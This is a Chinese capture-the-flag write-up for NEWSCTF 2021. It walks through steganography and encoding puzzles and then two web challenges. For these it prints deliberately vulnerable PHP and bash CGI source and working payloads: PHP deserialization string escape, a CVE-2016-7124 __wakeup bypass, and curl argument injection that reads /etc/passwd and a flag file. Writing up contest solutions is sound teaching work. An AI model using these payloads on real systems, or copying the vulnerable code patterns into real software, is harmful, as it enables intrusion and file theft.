NEWSCTF 2021

Misc

misc签到处

使用 010 editor 打开文件可在文件尾部发现压缩文档,同时因为其采用了仅存储的方式压缩,明文直接可见。

将其中内容提取出来得到如下信息。

text
1
ZmxhZ3tXZWxjMG1lX3QwX25ld3NjdGYhISF9CuaUr+S7mOWuneWPo+S7pFvmrKLov47mnaXliLDokIzmlrDnvqTotZtd

使用 base64 解码一次可得 flag。

1
flag{Welc0me_t0_newsctf!!!}

伪装者

修正附件压缩包文件头为 Rar!,解压附件得到一张图片,用 010 editor 打开可发现 CRC Mismatch 的报错,使用脚本爆破得宽高为 1297x1065,修正后可得如下图片。

根据背景中的描述可知附件中解压所得的压缩包 niu.zip 的密码为剧中的“王天风”,转换成汉语拼音后即 wangtianfeng。将其作为压缩包密码解压 niu.zip 可得一张图片。

在附件中解压所得的 key.wav 的末尾可听到一段 DTMF,将其提取出来后波形和频率如下图。

使用工具对照着解码再对照 T9 键盘转译可得如下信息。

text
1
2
#222833344477773338866#
ctfisfun

将其作为密码对 niu.jpg 使用 steghide 提取信息可得如下信息。

text
1
2
steghide extract -sf niu.jpg -p ctfisfun -xf extract.txt
熊曰:呋食很誒咯噔破啽住有歡嗚註嗄和你吃冬註物物眠嗚笨嘍擊笨噤襲你爾咬你爾常破很歡我吖拙歡意擊咯堅有嗷嗥哞怎發唬肉既歡沒破噤咯人和嘶啽更

将所得信息使用熊曰解密即可得到 flag。

1
flag{牛年大吉今晚吃鸡今晚吃鸡小年快乐happy}

听说你喜欢薅羊毛

解压附件后得到羊毛.jpg,在文件尾部可以发现如下信息。

text
1
011110000010010100101011001110100010001101000100101001101000011010011010010001111010001110011010100010111010000011110100000000110111000000000110100110011000000001110

将其使用培根密码解密之后可得如下信息。

text
1
passwordistingshuonixihuanyangmao

使用 tingshuonixihuanyangmao 对羊毛.jpg 执行 outguess 可以得到 brainpower 的压缩包密码 Wdn1His87。将压缩包解压后得到一个文本文档,file 一下可知是音频文件。

修正拓展名为 mp3 后使用 Audition 可以发现如下信息。

使用 PsWdMuzi123 作为压缩包密码解压 flag.zip 可以得到一个 flag.txt。其中的内容经过倒序后再十六进制到十进制转化一次可得一张图片文件。将文件头修正回 JPG 的文件头 FF D8 FF E0 00 10 4A 46 49 46 即可得到如下二维码。

扫描二维码可得 flag。

1
flag{s0_easy_is_not_it?}

happy ox

解压附件可以得到牛爷爷祝大家牛年行大运.png。使用 stegsolve 可解出 flag in it.zip 的压缩包密码为 niuniandaji888

将 flag in it.zip 解压可得到一个 Word 文档,其中有一张图片。

将 Word 文档打开后根据其中内容可知棋盘上所用密码为科比密码。使用如下密码表对照解密。

可以得到如下信息。

text
1
PASSWDISKBYYDSEZ

以 kbyydsez 为压缩包密码解压 flag.zip 可得 flag。

1
flag{0h_y0u_f1nd_Me_h3ck}

EMOJI

Reference: https://www.zhihu.com/question/332742614/answer/737382212

修复 rar 附件的文件头 Rar!,可以解压出一张图片。

此图是根据《长安十二时辰》中的望楼传信编制的,个十百位解码图如下。

对照上面三图可以将题目中所给算式转换出来。

text
1
799 * 248 + 21

算出结果为 198173,则压缩包密码根据提示可知是 一九八一七三。解压之后得到文本信息如下。

text
1
2
key:sixgod
ciphertext:🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🍌✅🚨📂📮🕹🎅🥋🌉😍🚪🤣🐅👑☂😀🦓⏩😍🌏🎅🌿🐘💵🍵☀✉🍍🌪🚫💵🍍🏎👣💵🔪🍌✉🐘😂🚨☂📮🔪💵🏹👉🐎🔬🌪🍎ℹ😊🚨😂🍵🍵😊🚨🔪✖🎈☺🦓🚰☃🌏🚪👣🍍✉👌🔄✉💧🗒🗒

使用 emoji-aes 在线加解密工具解密即可得出 flag。

1
flag{em0j1_Aes_1s_3_ni5e_3ncr9pt_to0l}

缺斤少两

解压附件可得两张图片,扫描 谐音梗,扣钱!.png 可得如下信息。

text
1
大牛:我也很疑惑呢

password.png 的二维码很明显缺少了一部分,根据谐音梗推测需要异或图片。于是将上述两张图片异或后得到如下图片。

将图片反色并修正定位点后扫描可得如下内容。

text
1
password:1q2w3e4r5t6y7u8i

将其作为压缩包密码解压 flag+2.zip。根据得到的 hint.txt 中的提示 密码是靠猜的,不是爆破! 可知 passwd.jpg 中藏有隐写。使用 outguess 可以解出其中内容为 news52ctf0。在 喵呜.jpg 中可分理出一个压缩包。(到这一步我没法用上面得到的密码来解压出压缩包了,于是看了 WriteUp 接着往下写)

换表的 base64 编码,简单筛选出问号可能的字符 ju34=,排列组合一下可以得到正确结果。

1
https://lemonprefect.cn/cb/#recipe=From_Base64('JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs34ujkxyz012789%2B/',true)&input=bXRIVm5rTG5JYVAzRmFBN0tPV2pUbUtrVmpXalZ6S2pkZU52VG5Bam9IOWlaT0l2VGVIYnZEPT0
1
NEWSCTF2020{base64_1s_v3ry_e@sy_and_fuN}

Web

girlfriend

代码审计的题目,给出的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
$key = array('php','flag','boyfriend');
$filter = '/'.implode('|',$key).'/i';
return preg_replace($filter,'hack!!!!',$payload);
}

$payload=$_GET['payload'];
$GDUT['A&D']='666';
$GDUT['Hed9eh0g']='no_girlfriend';

if(isset($payload)) {
if (strpos($payload, 'php')===false && strpos($payload, 'flag')===false && strpos($payload, 'boyfriend')===false) {
echo 'fuck_no_key!!!';
}else{
$GDUT['A&D']=$payload;
$GDUT=unserialize(filter(serialize($GDUT)));
if ($GDUT['Hed9eh0g'] === 'has_girlfriend') {
echo $flag;
} else {
echo 'fuck_no_girlfriend!!!';
}
}
}else{
highlight_file(__FILE__);
}

考点是反序列化字符逃逸,有三个字符串替换,关系如下所示。

text
1
2
3
php --> 字符串长度 +5
boyfriend --> 字符串长度 -1
flag --> 字符串长度 +4

需要的最后结果是 Hed9eh0g 的值为 has_girlfriend。因此只需要写出这样的 payload 即可成功逃逸到 Hed9eh0g。

1
$payload = str_repeat("flag", 10) . str_repeat("php",1) . str_repeat("boyfriend",5) .'";s:8:"Hed9eh0g";s:14:"has_girlfriend";}' ;

此时序列化出来的字符串是这样的。

text
1
a:2:{s:3:"A&D";s:128:"hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!";s:8:"Hed9eh0g";s:14:"has_girlfriend";}";s:8:"Hed9eh0g";s:13:"no_girlfriend";}

将 payload 拼接到请求中发送即可在响应中得到 flag。

1
newsctf{i_Lov3_nEws4tF_wEb}

EZ套娃

第一步是代码审计拿 hint,给出的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
public $hint;

public function __construct($hint){
$this->hint = $hint;
}

public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}

function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");

unserialize(read(write($a)));

主要的考点是字符多变字符少的反序列化字符逃逸,以及 PHP 5.4.4 下的 CVE-2016-7124 即 __wakeup() 的绕过。于是写出如下 payload 拿到 hint。

Fixed In Version: php 5.6.25, php 7.0.10

1
2
3
$username = str_repeat('\0\0\0',8);
$password = 't";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}';
//It will be O:4:"User":2:{s:8:"username";s:48:" * * * * * * * * ";s:8:"password";s:60:"t";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";} when serialized by the program

payload 发送之后得到如下信息。

text
1
PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=

将其 base64 解码后可得如下 hint。

1
2
3
<?php
$hint = "index.cgi";
// You can't see me~

定向到这个路由,发现是一个由 curl 发起请求的响应。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"args": {
"name": "Bob"
},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.0",
"X-Amzn-Trace-Id": "Root=1-602a67c5-2bbcf35059d5a41c03702149"
},
"origin": "114.67.246.176",
"url": "http://httpbin.org/get?name=Bob"
}

同时再次尝试可以发现参数 name 可控,于是尝试在其中拼接一些 curl 的参数指令。在 name 参数后面拼接 file:///etc/passwd 可以发现如下回显。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

{
"args": {
"name": "lemon"
},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.0",
"X-Amzn-Trace-Id": "Root=1-602a6a25-31c02675388dc74e545082fa"
},
"origin": "114.67.246.176",
"url": "http://httpbin.org/get?name=lemon"
}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

于是构造出 file:///flag,成功得到了 flag。

1
flag{b07006f7bdb7be77f633298e0e1829f5}

同时附上这题 index.cgi 的源码。

1
2
3
4
5
6
7
8
9
10
11
#index.cgi 
#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#./_dep/web.cgi
#!/bin/bash
WEBASH_VERSION='0.1'

# Some notes:
# - The aim is to use native bash as much as possible
# - printf is more secure than echo because you can't tell echo to stop processing parameters

# Make bash intolerant of errors
# set -ef -o pipefail

url_decode() {
local data="${*//+/ }"
printf '%b' "${data//%/\\x}"
}

url_encode() {
# Modified from https://gist.github.com/cdown/1163649
old_lc_collate="$LC_COLLATE"
LC_COLLATE="C"

local length="${#1}"
for (( pos = 0; pos < length; pos++ )); do
local chr="${1:pos:1}"
case "$chr" in
' ')
printf '+'
;;
[a-zA-Z0-9.~_-])
printf "%s" "$chr"
;;
*)
printf '%%%02X' "'$chr"
;;
esac
done

LC_COLLATE="$old_lc_collate"
}

html() {
local str="$1"
str="${str//</&lt;}"
str="${str//>/&gt;}"
str="${str//\"/&quot;}"
printf "%s" "$str"
}

http_status_code="200 OK"
http_status() {
http_status_code="$1"
}

declare -A http_headers
http_header() {
http_headers["$1"]="$2"
}

echo_headers() {
http_header "Content-Type" "text/html;charset=utf-8"
http_header "X-Server" "webash/$WEBASH_VERSION"

# Output headers
printf "Status: %s\r\n" "$http_status_code"
for name in "${!http_headers[@]}"; do
printf "%s: %s\r\n" "$name" "${http_headers[$name]}";
done

printf "\r\n"
}

http_error() {
printf "Status: 500 Internal Server Error\r\n\r\nInternal Server Error"
exit 1
}

# Parse the query into $_GET
IFS='&;' read -a query <<< "$QUERY_STRING"
declare -A _GET
for name_value_str in "${query[@]}"; do
IFS='=' read -a name_value <<< "$name_value_str"
name="$(url_decode "${name_value[0]}")"
value="$(url_decode "${name_value[1]}")"
_GET["$name"]="$value"
done

# Parse the POST into $_POST
IFS='&;' read -a query
declare -A _POST
for name_value_str in "${query[@]}"; do
IFS='=' read -a name_value <<< "$name_value_str"
name="$(url_decode "${name_value[0]}")"
value="$(url_decode "${name_value[1]}")"
_POST["$name"]="$value"
done